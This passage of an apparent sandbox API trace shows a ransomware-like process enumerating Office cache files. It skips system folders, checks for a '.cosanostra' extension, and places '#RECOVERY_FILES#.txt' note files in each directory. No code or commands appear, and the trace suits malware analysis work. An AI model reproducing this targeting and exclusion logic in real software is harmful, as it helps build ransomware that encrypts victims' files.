pszDest=0x28e630, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\..") returned 82 [0078.745] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0078.745] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0078.745] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0078.745] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="Windows") returned -1 [0078.745] lstrlenW (lpString="Windows") returned 7 [0078.745] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="Program Files") returned -1 [0078.745] lstrlenW (lpString="Program Files") returned 13 [0078.745] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="Program Files (x86)") returned -1 [0078.745] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.745] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="$Recycle.bin") returned 1 [0078.745] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.745] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="System Volume Information") returned -1 [0078.745] lstrlenW (lpString="System Volume Information") returned 25 [0078.745] wnsprintfW (in: pszDest=0x28e630, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 93 [0078.745] StrStrIW (lpFirst="AccessMUI.msi", lpSrch=".cosanostra") returned 0x0 [0078.745] lstrcmpW (lpString1="AccessMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.745] lstrcmpW (lpString1="AccessMUI.msi", lpString2="_uninstalling_.png") returned 1 [0078.745] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 93 [0078.745] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0078.745] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="Windows") returned -1 [0078.745] lstrlenW (lpString="Windows") returned 7 [0078.745] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="Program Files") returned -1 [0078.745] lstrlenW (lpString="Program Files") returned 13 [0078.745] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="Program Files (x86)") returned -1 [0078.745] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.745] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="$Recycle.bin") returned 1 [0078.745] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.745] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="System Volume Information") returned -1 [0078.745] lstrlenW (lpString="System Volume Information") returned 25 [0078.746] wnsprintfW (in: pszDest=0x28e630, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 93 [0078.746] StrStrIW (lpFirst="AccessMUI.xml", lpSrch=".cosanostra") returned 0x0 [0078.746] lstrcmpW (lpString1="AccessMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.746] lstrcmpW (lpString1="AccessMUI.xml", lpString2="_uninstalling_.png") returned 1 [0078.746] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 93 [0078.746] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0078.746] lstrcmpiW (lpString1="AccLR.cab", lpString2="Windows") returned -1 [0078.746] lstrlenW (lpString="Windows") returned 7 [0078.746] lstrcmpiW (lpString1="AccLR.cab", lpString2="Program Files") returned -1 [0078.746] lstrlenW (lpString="Program Files") returned 13 [0078.746] lstrcmpiW (lpString1="AccLR.cab", lpString2="Program Files (x86)") returned -1 [0078.746] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.746] lstrcmpiW (lpString1="AccLR.cab", lpString2="$Recycle.bin") returned 1 [0078.746] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.746] lstrcmpiW (lpString1="AccLR.cab", lpString2="System Volume Information") returned -1 [0078.746] lstrlenW (lpString="System Volume Information") returned 25 [0078.746] wnsprintfW (in: pszDest=0x28e630, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 89 [0078.746] StrStrIW (lpFirst="AccLR.cab", lpSrch=".cosanostra") returned 0x0 [0078.746] lstrcmpW (lpString1="AccLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.746] lstrcmpW (lpString1="AccLR.cab", lpString2="_uninstalling_.png") returned 1 [0078.746] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 89 [0078.746] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0078.746] lstrcmpiW (lpString1="branding.xml", lpString2="Windows") returned -1 [0078.746] lstrlenW (lpString="Windows") returned 7 [0078.746] lstrcmpiW (lpString1="branding.xml", lpString2="Program Files") returned -1 [0078.746] lstrlenW (lpString="Program Files") returned 13 [0078.746] lstrcmpiW (lpString1="branding.xml", lpString2="Program Files (x86)") returned -1 [0078.746] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.746] lstrcmpiW (lpString1="branding.xml", lpString2="$Recycle.bin") returned 1 [0078.746] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.746] lstrcmpiW (lpString1="branding.xml", lpString2="System Volume Information") returned -1 [0078.746] lstrlenW (lpString="System Volume Information") returned 25 [0078.746] wnsprintfW (in: pszDest=0x28e630, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 92 [0078.746] StrStrIW (lpFirst="branding.xml", lpSrch=".cosanostra") returned 0x0 [0078.747] lstrcmpW (lpString1="branding.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.747] lstrcmpW (lpString1="branding.xml", lpString2="_uninstalling_.png") returned 1 [0078.747] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 92 [0078.747] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0078.747] FindClose (in: hFindFile=0x25a7b0 | out: hFindFile=0x25a7b0) returned 1 [0078.748] wnsprintfW (in: pszDest=0x28e630, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\#RECOVERY_FILES#.txt") returned 100 [0078.748] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\#RECOVERY_FILES#.txt") returned 100 [0078.748] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.748] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="Windows") returned -1 [0078.748] lstrlenW (lpString="Windows") returned 7 [0078.748] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="Program Files") returned -1 [0078.748] lstrlenW (lpString="Program Files") returned 13 [0078.748] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="Program Files (x86)") returned -1 [0078.748] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.748] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="$Recycle.bin") returned 1 [0078.748] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.748] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="System Volume Information") returned -1 [0078.748] lstrlenW (lpString="System Volume Information") returned 25 [0078.748] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 83 [0078.748] StrStrIW (lpFirst="AccessMUISet.msi", lpSrch=".cosanostra") returned 0x0 [0078.748] lstrcmpW (lpString1="AccessMUISet.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.748] lstrcmpW (lpString1="AccessMUISet.msi", lpString2="_uninstalling_.png") returned 1 [0078.748] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 83 [0078.748] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.748] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="Windows") returned -1 [0078.748] lstrlenW (lpString="Windows") returned 7 [0078.748] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="Program Files") returned -1 [0078.748] lstrlenW (lpString="Program Files") returned 13 [0078.748] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="Program Files (x86)") returned -1 [0078.749] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.749] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="$Recycle.bin") returned 1 [0078.749] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.749] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="System Volume Information") returned -1 [0078.749] lstrlenW (lpString="System Volume Information") returned 25 [0078.749] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 83 [0078.749] StrStrIW (lpFirst="AccessMUISet.xml", lpSrch=".cosanostra") returned 0x0 [0078.749] lstrcmpW (lpString1="AccessMUISet.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.749] lstrcmpW (lpString1="AccessMUISet.xml", lpString2="_uninstalling_.png") returned 1 [0078.749] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 83 [0078.749] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.749] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0078.749] lstrlenW (lpString="Windows") returned 7 [0078.749] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0078.749] lstrlenW (lpString="Program Files") returned 13 [0078.749] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0078.749] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.749] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0078.749] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.749] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0078.749] lstrlenW (lpString="System Volume Information") returned 25 [0078.749] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0078.749] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0078.749] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.749] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0078.749] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0078.749] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0078.749] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0078.750] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0078.750] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0078.765] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0078.765] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0078.765] lstrlenW (lpString="Windows") returned 7 [0078.765] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0078.765] lstrlenW (lpString="Program Files") returned 13 [0078.765] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0078.765] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.765] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0078.765] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.765] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0078.765] lstrlenW (lpString="System Volume Information") returned 25 [0078.765] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned 66 [0078.765] lstrcmpW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0078.765] lstrcmpW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0078.766] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*") returned 68 [0078.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0078.993] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0078.993] lstrlenW (lpString="Windows") returned 7 [0078.993] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0078.993] lstrlenW (lpString="Program Files") returned 13 [0078.993] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0078.993] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.993] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0078.993] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.993] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0078.993] lstrlenW (lpString="System Volume Information") returned 25 [0078.993] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.") returned 68 [0078.993] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0078.993] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0078.993] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.993] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0078.993] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.") returned 68 [0078.993] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.993] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0078.994] lstrlenW (lpString="Windows") returned 7 [0078.994] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0078.994] lstrlenW (lpString="Program Files") returned 13 [0078.994] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0078.994] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.994] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0078.994] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.994] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0078.994] lstrlenW (lpString="System Volume Information") returned 25 [0078.994] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..") returned 69 [0078.994] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0078.994] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0078.994] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0078.994] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.994] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0078.994] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..") returned 69 [0078.994] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.994] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Windows") returned -1 [0078.994] lstrlenW (lpString="Windows") returned 7 [0078.994] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Program Files") returned -1 [0078.994] lstrlenW (lpString="Program Files") returned 13 [0078.994] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Program Files (x86)") returned -1 [0078.994] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.994] lstrcmpiW (lpString1="Office32WW.msi", lpString2="$Recycle.bin") returned 1 [0078.994] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.994] lstrcmpiW (lpString1="Office32WW.msi", lpString2="System Volume Information") returned -1 [0078.994] lstrlenW (lpString="System Volume Information") returned 25 [0078.994] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0078.994] StrStrIW (lpFirst="Office32WW.msi", lpSrch=".cosanostra") returned 0x0 [0078.994] lstrcmpW (lpString1="Office32WW.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.994] lstrcmpW (lpString1="Office32WW.msi", lpString2="_uninstalling_.png") returned 1 [0078.994] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0078.994] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.994] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Windows") returned -1 [0078.994] lstrlenW (lpString="Windows") returned 7 [0078.995] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Program Files") returned -1 [0078.995] lstrlenW (lpString="Program Files") returned 13 [0078.995] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Program Files (x86)") returned -1 [0078.995] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.995] lstrcmpiW (lpString1="Office32WW.xml", lpString2="$Recycle.bin") returned 1 [0078.995] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.995] lstrcmpiW (lpString1="Office32WW.xml", lpString2="System Volume Information") returned -1 [0078.995] lstrlenW (lpString="System Volume Information") returned 25 [0078.995] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0078.995] StrStrIW (lpFirst="Office32WW.xml", lpSrch=".cosanostra") returned 0x0 [0078.995] lstrcmpW (lpString1="Office32WW.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.995] lstrcmpW (lpString1="Office32WW.xml", lpString2="_uninstalling_.png") returned 1 [0078.995] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0078.995] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.995] lstrcmpiW (lpString1="ose.exe", lpString2="Windows") returned -1 [0078.995] lstrlenW (lpString="Windows") returned 7 [0078.995] lstrcmpiW (lpString1="ose.exe", lpString2="Program Files") returned -1 [0078.995] lstrlenW (lpString="Program Files") returned 13 [0078.995] lstrcmpiW (lpString1="ose.exe", lpString2="Program Files (x86)") returned -1 [0078.995] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.995] lstrcmpiW (lpString1="ose.exe", lpString2="$Recycle.bin") returned 1 [0078.995] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.995] lstrcmpiW (lpString1="ose.exe", lpString2="System Volume Information") returned -1 [0078.995] lstrlenW (lpString="System Volume Information") returned 25 [0078.995] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0078.995] StrStrIW (lpFirst="ose.exe", lpSrch=".cosanostra") returned 0x0 [0078.995] lstrcmpW (lpString1="ose.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.995] lstrcmpW (lpString1="ose.exe", lpString2="_uninstalling_.png") returned 1 [0078.995] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0078.995] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.995] lstrcmpiW (lpString1="osetup.dll", lpString2="Windows") returned -1 [0078.995] lstrlenW (lpString="Windows") returned 7 [0078.995] lstrcmpiW (lpString1="osetup.dll", lpString2="Program Files") returned -1 [0078.995] lstrlenW (lpString="Program Files") returned 13 [0078.995] lstrcmpiW (lpString1="osetup.dll", lpString2="Program Files (x86)") returned -1 [0078.995] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.996] lstrcmpiW (lpString1="osetup.dll", lpString2="$Recycle.bin") returned 1 [0078.996] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.996] lstrcmpiW (lpString1="osetup.dll", lpString2="System Volume Information") returned -1 [0078.996] lstrlenW (lpString="System Volume Information") returned 25 [0078.996] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0078.996] StrStrIW (lpFirst="osetup.dll", lpSrch=".cosanostra") returned 0x0 [0078.996] lstrcmpW (lpString1="osetup.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.996] lstrcmpW (lpString1="osetup.dll", lpString2="_uninstalling_.png") returned 1 [0078.996] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0078.996] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.996] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Windows") returned -1 [0078.997] lstrlenW (lpString="Windows") returned 7 [0078.997] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Program Files") returned -1 [0078.997] lstrlenW (lpString="Program Files") returned 13 [0078.997] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Program Files (x86)") returned -1 [0078.997] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.997] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="$Recycle.bin") returned 1 [0078.997] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.997] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="System Volume Information") returned -1 [0078.997] lstrlenW (lpString="System Volume Information") returned 25 [0078.997] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0078.997] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch=".cosanostra") returned 0x0 [0078.997] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.997] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="_uninstalling_.png") returned 1 [0078.997] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0078.997] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.997] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Windows") returned -1 [0078.997] lstrlenW (lpString="Windows") returned 7 [0078.998] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Program Files") returned -1 [0078.998] lstrlenW (lpString="Program Files") returned 13 [0078.998] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Program Files (x86)") returned -1 [0078.998] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.998] lstrcmpiW (lpString1="PidGenX.dll", lpString2="$Recycle.bin") returned 1 [0078.998] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.998] lstrcmpiW (lpString1="PidGenX.dll", lpString2="System Volume Information") returned -1 [0078.998] lstrlenW (lpString="System Volume Information") returned 25 [0078.998] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0078.998] StrStrIW (lpFirst="PidGenX.dll", lpSrch=".cosanostra") returned 0x0 [0078.998] lstrcmpW (lpString1="PidGenX.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.998] lstrcmpW (lpString1="PidGenX.dll", lpString2="_uninstalling_.png") returned 1 [0078.998] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0078.998] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.998] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Windows") returned -1 [0078.998] lstrlenW (lpString="Windows") returned 7 [0078.998] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Program Files") returned -1 [0078.998] lstrlenW (lpString="Program Files") returned 13 [0078.998] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Program Files (x86)") returned -1 [0078.998] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.999] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="$Recycle.bin") returned 1 [0078.999] lstrlenW (lpString="$Recycle.bin") returned 12 [0078.999] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="System Volume Information") returned -1 [0078.999] lstrlenW (lpString="System Volume Information") returned 25 [0078.999] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0078.999] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".cosanostra") returned 0x0 [0078.999] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0078.999] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="_uninstalling_.png") returned 1 [0078.999] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0078.999] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0078.999] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="Windows") returned -1 [0078.999] lstrlenW (lpString="Windows") returned 7 [0078.999] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="Program Files") returned 1 [0078.999] lstrlenW (lpString="Program Files") returned 13 [0078.999] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="Program Files (x86)") returned 1 [0078.999] lstrlenW (lpString="Program Files (x86)") returned 19 [0078.999] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="$Recycle.bin") returned 1 [0079.020] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.020] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="System Volume Information") returned -1 [0079.020] lstrlenW 